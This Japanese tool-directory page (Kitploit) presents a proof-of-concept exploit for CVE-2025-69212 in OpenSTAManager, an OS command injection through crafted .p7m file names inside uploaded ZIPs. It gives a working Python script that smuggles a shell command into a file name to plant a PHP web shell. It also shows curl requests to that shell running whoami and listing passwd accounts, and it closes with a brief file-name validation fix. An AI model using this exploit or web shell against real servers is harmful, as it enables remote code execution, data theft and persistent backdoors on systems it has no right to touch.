Skip to content
KitploitKITPLOIT
ツールエクスプロイトブログ
Log in
提出
ツールエクスプロイトブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

フィードお問い合わせプライバシー© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
OpenSTA-Exploit — CVE-2025-69212のP7Mファイル処理に関連する概念実証(PoC) | Kitploit
ツール/GitHubGitHub/lolw0/opensta-exploit
ペイロード生成脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテスト
GitHublolw0/opensta-exploit

OpenSTA-Exploit

CVE-2025-69212のP7Mファイル処理に関連する概念実証(PoC)

リポジトリを見る
181ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

OpenSTA-Exploit

image

データ詳細
CVE IDCVE-2025-69212
脆弱性スコアcritical (9.4)
CWE78: OSコマンドに使用される特殊要素の不適切な中和
影響を受けるバージョンOpenSTAManager <= 2.9.8
攻撃ベクトル悪意のあるファイル名を持つ .p7m ファイルを含む ZIP ファイルをアップロードする
認証必要
影響サーバー上で任意のシステムコマンドを実行する

エクスプロイトの説明

  1. シェルコマンドを変数 cmd に格納する(これにより、コマンドを実行できる PHP コードを含む SHELL.php というファイルが作成される)。
  2. cmd 変数からコマンドを隠す特別なファイル名を構築し、malicious_file 変数に保存する。
  3. exploit.zip という新しい ZIP ファイルを作成し、書き込み用に開く。
  4. ZIP にファイルを追加する。そのファイル名は malicious_file 変数である。
  5. 悪意のあるファイル名が exec() コマンドに注入される。

PoC (概念実証)

1. 注入用の zip ファイルを作成する

import zipfile
import time

print("Creating zip file...")
time.sleep(1)

cmd = "cd files && echo '<?php system($_GET[\"c\"]); ?>' > SHELL.php"
malicious_file = f'invoice.p7m";{cmd};echo ".p7m'

with zipfile.ZipFile('exploit.zip', 'w') as zf:
    zf.writestr(malicious_file, b"")

2. ファイルを実行してアップロードする

lolw0@sys:~/OpenSTA-Exploit$ python3 exploit.py
Creating zip file...
lolw0@sys:~/OpenSTA-Exploit$ ls
-rw-rw-r 2 lolw0 lolw0 281 Aug 10 22:36 exploit.zip
image

image

3. エクスプロイトの結果

コマンド実行後に XML パースが失敗する

HTTP/1.1 500 Internal Server Error

"error":{
"type":"Exception",
"message":"Start tag expected, '<' not found\n",
"code":0,
"file":"\/var\/www\/html\/openstamanager\/src\/Util\/XML.php",
"line":51}

4. 検証とリモートコード実行

lolw0@sys:~/OpenSTA-Exploit$ curl "http://localhost:8080/files/SHELL.php?c=whoami"

www-data

lolw0@sys:~/OpenSTA-Exploit$ curl -s --get \ --data-urlencode 'c=getent passwd | grep -E "/home|/bin/bash|/bin/sh"' \
'http://localhost:8080/files/SHELL.php'

root:x:0:0:root:/root:/bin/bash
xxxx:x:1001:1001:,,,:/home/xxxx:/usr/sbin/nologin
yyyy:x:1002:1002:,,,:/home/yyyy:/usr/sbin/nologin
zzzz:x:1003:1003:,,,:/home/zzzz:/usr/sbin/nologin



引き起こされる事態...

攻撃詳細
リモートコード実行コマンド実行によるサーバーの完全な侵害
データ窃取すべてのアプリケーションデータとデータベースへのアクセス
権限昇格Web サーバーが高い権限で動作している場合、または脆弱である場合に昇格する可能性
永続化バックドアを設置し、長期間にわたりアクセスを維持する
横展開ネットワーク上の他のシステムやユーザーへの侵入の足がかり

修正

**簡単な修正は、処理前にファイル名を検証することです(英数字、ドット、ダッシュ、アンダースコアのみを許可し、無効なファイル名をスキップします)

foreach ($files_xml as $xml) {
    if (!preg_match('/^[a-zA-Z0-9._-]+$/', $xml)) {
        continue; 
    }
    if (string_ends_with($xml, '.p7m')) {
        $file = XML::decodeP7M($directory.'/'.$xml);
    }
}

(あるいは、単に更新するだけでもよいでしょう)

ツールをダウンロード